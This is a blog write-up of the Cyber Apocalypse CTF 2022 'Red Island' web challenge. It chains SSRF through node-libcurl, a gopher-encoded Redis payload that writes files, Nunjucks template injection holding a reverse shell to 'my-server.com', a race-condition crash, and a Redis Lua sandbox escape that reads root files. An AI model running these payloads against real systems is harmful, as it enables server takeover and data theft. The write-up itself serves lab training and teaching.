19. 05. 2022 Mattia Codato ctf-writeups, Development

Cyber Apocalypse CTF 2022 – Red Island Writeup

The Cyber Apocalypse CTF is back with the 2022 edition. It’s a Jeopardy-style competition organized by Hack The Box and is open to everyone.

Together as a security-focused guild (a concept taken from the Spotify model) we here at Würth Phoenix participated in this challenge and in particular I focused on the web challenges.

After completing the first and simpler white-box challenges, I tackled a back-box one called ‘Red Island’.

The starting point for this challenge is a web app login page from which any user can register and then log in.

After logging in, the real functionality appears: the application downloads any image that can be reached via a URL, converts its colors to red, and then displays it on the page.

Information gathering

What happens if I use the URL of a website that I have under my control? Is it possible to obtain information from the HTTP request that the backend executes? Let’s try!

The first thing noticeable if a URL is used that is not an image is that the content of the response is printed along with the error. Very interesting and potentially useful.

Let’s check the request that arrives on the website under our control:

From the user-agent we understand that the backend is written in Node.JS and the node-libcurl module is used to make the request. So we have a starting point, and now it’s time to read the documentation

Server-side request forgery

A strong point of the module described in the documentation is the wide range of supported protocols including the file:// protocol.

What happens if we use the file:///etc/passwd URL? It works and the passwd content is shown on the page together with the error:

It’s also possible to download all application sources, which will probably be very useful later on.

What kind of information can we obtain from standard Linux files and the source code?

  • The OS is Ubuntu
  • Redis is used to handle the sessions
    • From the passwd file:
      `redis:x:101:101::/var/lib/redis:/usr/sbin/nologin`
    • From the source code:
  • A supervisor is responsible for restarting the node application in case of a crash

Protocol content confusion

Through the Redis serialization protocol (RESP) it’s possible to export the entire database to an arbitrary file in an arbitrary directory (SAVE).

So now the question is: is there a way to use this protocol to write arbitrary files? Once again the node-libcurl module comes to our aid by supporting the 1990’s Gopher protocol.

This protocol can be used to forge a valid RESP request that’s parsable by Redis.
Let’s use this project as a reference (GitHub – tarunkant/Gopherus: This tool generates gopher links for exploiting SSRF and gaining RCE in various servers ) and try to craft a URL and execute a request with the following Redis commands:

config set rdbcompression no     <-- disable the compression
flushall                         <-- remove all the entries from the DB
set 1 <arbitrary code>
config set dir <dest_dir>        <-- set the destination dir
config set dbfilename <test>     <-- set the file name
save                             <-- save 
quit

The server response is:

"Unknown error occured while fetching the image file: +OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n+OK\r\n"

The resulting request is:

gopher://127.0.0.1:6379/_*4\n
$6\n
config\n
$3\n
set\n
$14\n
rdbcompression\n
$2\n
no\n
*1\n
$8\n
flushall\n
*3\n
$3\n
set\n
$1\n
1\n
$27\n
\n
\n
===ARBITRARY_CONTENT===\n
\n
\n
*4\n
$6\n
config\n
$3\n
set\n
$3\n
dir\n
$11\n
/app/views/\n
*4\n
$6\n
config\n
$3\n
set\n
$10\n
dbfilename\n
$4\n
test\n
*1\n
$4\n
save\n
*1\n
$4\n
quit\n

The encoded URL is:

gopher://127.0.0.1:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2427%0D%0A%0A%0A%3D%3D%3DARBITRARY_CONTENT%3D%3D%3D%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/app/views/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Alogin.html%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A%0A

And if we read back the file with the file:// protocol we get:

Unknown error occured while fetching the image file: REDIS0009� redis-ver5.0.7� redis-bits�@�ctime�:��b�used-mem�H � aof-preamble���� ===ARBITRARY_CONTENT=== �J�S�<��

Since Redis is running as root, which can be seen in the supervisor, we can write any file.

How can arbitrary code written in a file (with other characters before and after) be used to obtain server control?

Nunjucks template file replacement

Since Nunjucks is a templating library in Javascript, my idea was to write some node code in the /app/views/login.html file to try to achieve arbitrary code execution.

It was easy to find the following issue on GitHub showing how to execute any code in Nunjucks: Add warning against running untrusted templates · Issue #17 · mozilla/nunjucks-docs

Can you also hear the little evil voice whispering into your ear “it’s time for a reverse shell”? So let’s craft a gopher request with the following code:

{{ ({}).constructor.constructor(
  "var net = global.process.mainModule.require('net'),
       cp = global.process.mainModule.require('child_process'),
       sh = cp.spawn('sh', []);
   var client = new net.Socket();
   client.connect(1234, 'my-server.com', function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
   });"
)()}}

And now trigger the code by refreshing the login page… hmmm, but nothing happens, why not?

Reading the Nunjucks documentation, it turns out that by default templates are cached during the first request and not re-loaded on subsequent requests. So how can we force a reload? Well, do you remember the supervisor? We have to trigger a crash so that the supervisor restarts the application and the template is then recompiled.

Denial of Service

It’s finally time to read the code and find an unhandled exception.

In the module that loads the image, you can see how the image is assigned to the buffer variable, which is, however, global as it is not preceded by var or let.

Each request uses the same global variable, so what happens if two requests are executed at the same time? An unhandled exception is triggered, the node crashes, and supervisord starts a new instance. When the login page is later visited, the injected code is executed and the reverse shell is started. And now it works!

whoami
www-data

We are now the www-data user and are ever closer to being in complete control of the server.

The purpose of the challenge is to obtain the flag present in a file. Unfortunately with this user, we are unable to find it because it’s probably in the /root folder where we don’t have permissions. So the next and last step is to become root.

Privilege escalation

One feature of Redis is the ability to execute Lua code.

The Lua engine should be sandboxed so that Redis clients can only interact with the Redis APIs, and clients shouldn’t be able to execute arbitrary code on the Redis running machine.

Recently, however, this vulnerability was discovered that allows Debian/Ubuntu systems to escape the sandbox and execute arbitrary code.

With the redis-cli and the following lines we can test it:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

And magically we are able to execute arbitrary code as root and read the flag with the following command:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag", "r"); local res = f:read("*a"); f:close(); return res' 0

And finally, the flag is

HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}

Conclusion

Once again, it’s evident how a chain of vulnerabilities, including not following best practices such as not removing all HTTP headers containing server information, as well as using the wrong user to run applications, can lead the attacker to take complete control of the target.

These Solutions are Engineered by Humans

Did you learn from this article? Perhaps you’re already familiar with some of the techniques above? If you find security issues interesting, maybe you could start in a roles like this as well as other roles here at Würth Phoenix.

Mattia Codato

Mattia Codato

Software Developer - IT System & Service Management Solutions at Würth Phoenix

Author

Mattia Codato

Software Developer - IT System & Service Management Solutions at Würth Phoenix

Leave a Reply

Your email address will not be published. Required fields are marked *

Archive